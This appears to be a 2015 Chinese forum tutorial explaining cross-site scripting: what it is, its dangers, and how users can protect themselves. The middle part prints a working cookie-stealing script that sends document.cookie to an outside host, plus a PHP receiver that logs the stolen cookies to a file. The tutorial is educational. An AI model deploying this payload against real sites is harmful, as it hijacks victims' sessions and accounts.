本帖最后由 小屋皮 于 2015-7-23 10:57 编辑
: P& }. K; _- @/ g: k2 O
8 A; i% G! U, {& e; k8 v9 r谈到XSS漏洞攻击,可能很多童鞋或多或少的晓得一些基础的东西。现在就来带大家一块儿了解一下关于xss漏洞脚本攻防方面的技巧。当然老鸟飞过,不感兴趣的就算了吧。好,我们就从最最基本的开始学习。 一、什么是XSS攻击?初识概念 XSS其实就是跨站脚本攻击的英文缩写,攻击者利用WEB平台的漏洞,将恶意的客户端脚本代码(如 Javascript )通过各种“巧妙”的方式植入正常的网页中,当受害者访问此恶意页面后,就会执行相应的恶意代码,从而达到攻击者的某种目的,比如盗取浏览器会话、cookie信息等等。 二、XSS漏洞如何利用?了解危害 说到xss攻击个人感觉利用最多的就是来盗取用户帐号,包括QQ账户、网银支付号等等(比如劫持受害者的QQ cookie绕过验证);在就是可以用来网页挂马,甚至在受害者电脑留下后门程序;还有更严重的是骇客可以编写复杂的脚本用来做非法DDos网络攻击等等。可见xss攻击的危害还是非常大的! 如果来举个简单的例子,或许大家就可以更容易理解了。假设在某个知名网站存在漏洞的页面中成功嵌入了如下js脚本(实际应用中可以嵌入外部js文件,这里仅做演示,实际不存在):
9 o/ S8 d( f9 m+ Z! w. T8 d* \! ]<script>document.write("<img src='http://www.feifeiboke.com/xss.php?c=" + escape(document.cookie) + "' />");</script> 其中xss.php也就是cookie接收端,我们可以写为:3 P K8 |* g; B, `* V, o' o; I
<?php
% x! r( W: x5 O* u& }" P( {! n) F3 p3 I$co = $_GET['c'];
" s; V1 ?0 Z Y, r$fo = fopen('1.html', 'a'); 9 ~8 ~6 `& {" n) `0 D4 [8 v5 m
fwrite($fo, 'Cookie: ' . $co . '<br>');
, W3 y. U( T& s+ R9 \3 Afclose($fo); # F3 G0 ~$ r) N, i4 x% a
?> D! m8 x) m1 b4 d5 y5 e: D
这样当受害者访问并成功执行了我们构造的恶意脚本后,对方的cookie信息就会自动保存在1.html中。获得了对方的cookie,也就相当于拿到了他的账户管理权限。 三、XSS跨站漏洞的防范和应对 其实xss漏洞的危害远比我们想象中的要严重的多,包括很多知名站点腾讯、百度、新浪微博等等都曾爆出过xss漏洞,应该说是防不胜防啊。当然及时修复web漏洞/避免出现漏洞是这些网站安全工程师做的事儿,那么从我们用户的角度来说的话如何防范xss漏洞对自己造成的影响呢? 1. 不要访问别人发来的可疑网址链接,例如某些网址后面有一大串编码的参数(很可能是坏人精心构造含有恶意脚本的页面),还有就是短网址,你是直接看不出对方的真实网站链接的,所以访问一定要谨慎! 2. 使用最新版本的浏览器,比如IE8内核的浏览器,就自带有XSS筛选器的功能(默认就是启用状态),这虽不能完全解决xss的危害,但是对于防范一些xss跨站脚本还是有一定的效果的。 3. 提高安全意识,一些重要的帐号使用完毕后(比如网银/支付账户)要点击“退出”登录状态,而不是直接关闭网页。 ; {$ U- Y+ ^+ M
|